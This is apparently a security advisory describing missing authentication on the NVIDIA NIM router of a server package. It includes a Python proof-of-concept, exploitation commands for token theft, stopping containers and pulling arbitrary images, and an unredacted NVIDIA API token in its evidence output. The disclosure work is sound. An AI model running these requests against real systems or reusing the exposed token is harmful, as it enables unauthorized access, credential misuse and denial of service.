  "details" : "# Missing Authentication on NVIDIA NIM Endpoints\n\n## Summary\n\nThe NVIDIA NIM router (`/api/v1/nvidia-nim/*`) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints.\n\n## Vulnerability Details\n\n| Field | Value |\n|-------|-------|\n| CWE | CWE-306: Missing Authentication for Critical Function |\n| Affected File | `packages/server/src/utils/constants.ts` |\n| Affected Line | Line 20 (`'/api/v1/nvidia-nim'` in `WHITELIST_URLS`) |\n| CVSS 3.1 | 8.6 (High) |\n\n## Root Cause\n\nIn `packages/server/src/utils/constants.ts`, the NVIDIA NIM route is added to the authentication whitelist:\n\n```typescript\nexport const WHITELIST_URLS = [\n    // ... other URLs\n    '/api/v1/nvidia-nim',  // Line 20 - bypasses JWT/API-key validation\n    // ...\n]\n```\n\nThis causes the global auth middleware to skip authentication checks for all endpoints under `/api/v1/nvidia-nim/*`. None of the controller actions in `packages/server/src/controllers/nvidia-nim/index.ts` perform their own authentication checks.\n\n## Affected Endpoints\n\n| Method | Endpoint | Risk |\n|--------|----------|------|\n| GET | `/api/v1/nvidia-nim/get-token` | Leaks valid NVIDIA API token |\n| GET | `/api/v1/nvidia-nim/preload` | Resource consumption |\n| GET | `/api/v1/nvidia-nim/download-installer` | Resource consumption |\n| GET | `/api/v1/nvidia-nim/list-running-containers` | Information disclosure |\n| POST | `/api/v1/nvidia-nim/pull-image` | Arbitrary image pull |\n| POST | `/api/v1/nvidia-nim/start-container` | Arbitrary container start |\n| POST | `/api/v1/nvidia-nim/stop-container` | Denial of Service |\n| POST | `/api/v1/nvidia-nim/get-image` | Information disclosure |\n| POST | `/api/v1/nvidia-nim/get-container` | Information disclosure |\n\n## Impact\n\n### 1. NVIDIA API Token Leakage\n\nThe `/get-token` endpoint returns a valid NVIDIA API token without authentication. This token grants access to NVIDIA's inference API and can list 170+ LLM models.\n\n**Token obtained:**\n```json\n{\n  \"access_token\": \"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\",\n  \"token_type\": \"Bearer\",\n  \"expires_in\": 3600\n}\n```\n\n**Token validation:**\n```bash\ncurl -H \"Authorization: Bearer nvapi-GT-...\" https://integrate.api.nvidia.com/v1/models\n# Returns list of 170+ available models\n```\n\n### 2. Container Runtime Manipulation\n\nOn systems with Docker/NIM installed, an unauthenticated attacker can:\n- List running containers (reconnaissance)\n- Stop containers (Denial of Service)\n- Start containers with arbitrary images\n- Pull arbitrary Docker images (resource consumption, potential malicious images)\n\n## Proof of Concept\n\n### poc.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPOC: Privileged NVIDIA NIM endpoints are unauthenticated\n\nUsage:\n  python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token\n\"\"\"\n\nimport argparse\nimport urllib.request\nimport urllib.error\n\ndef main():\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"--target\", required=True, help=\"Base URL, e.g. http://host:port\")\n    ap.add_argument(\"--path\", required=True, help=\"NIM endpoint path\")\n    ap.add_argument(\"--method\", default=\"GET\", choices=[\"GET\", \"POST\"])\n    ap.add_argument(\"--data\", default=\"\", help=\"Raw request body for POST\")\n    args = ap.parse_args()\n\n    url = args.target.rstrip(\"/\") + \"/\" + args.path.lstrip(\"/\")\n    body = args.data.encode(\"utf-8\") if args.method == \"POST\" else None\n    req = urllib.request.Request(\n        url,\n        data=body,\n        method=args.method,\n        headers={\"Content-Type\": \"application/json\"} if body else {},\n    )\n\n    try:\n        with urllib.request.urlopen(req, timeout=10) as r:\n            print(r.read().decode(\"utf-8\", errors=\"replace\"))\n    except urllib.error.HTTPError as e:\n        print(e.read().decode(\"utf-8\", errors=\"replace\"))\n\nif __name__ == \"__main__\":\n    main()\n```\n\n<img width=\"1581\" height=\"595\" alt=\"screenshot\" src=\"https://github.com/user-attachments/assets/85351a88-64ce-4e2c-8e67-98f217fcf989\" />\n\n### Exploitation Steps\n\n```bash\n# 1. Obtain NVIDIA API token (no authentication required)\npython poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token\n\n# 2. List running containers\npython poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers\n\n# 3. Stop a container (DoS)\npython poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/stop-container \\\n  --method POST --data '{\"containerId\":\"<target_id>\"}'\n\n# 4. Pull arbitrary image\npython poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/pull-image \\\n  --method POST --data '{\"imageTag\":\"malicious/image\",\"apiKey\":\"any\"}'\n```\n\n### Evidence\n\n**Token retrieval without authentication:**\n```\n$ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token\n{\"access_token\":\"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\",\"token_type\":\"Bearer\",\"refresh_token\":null,\"expires_in\":3600,\"id_token\":null}\n```\n\n**Token grants access to NVIDIA API:**\n```\n$ curl -H \"Authorization: Bearer nvapi-GT-...\" https://integrate.api.nvidia.com/v1/models\n{\"object\":\"list\",\"data\":[{\"id\":\"01-ai/yi-large\",...},{\"id\":\"meta/llama-3.1-405b-instruct\",...},...]}\n```\n\n**Container endpoints return 500 (not 401) proving auth bypass:**\n```\n$ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers\n{\"statusCode\":500,\"success\":false,\"message\":\"Container runtime client not available\",\"stack\":{}}\n```\n\n## References\n\n- [CWE-306: Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- [OWASP API Security Top 10 - API2:2023 Broken Authentication](https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/)",
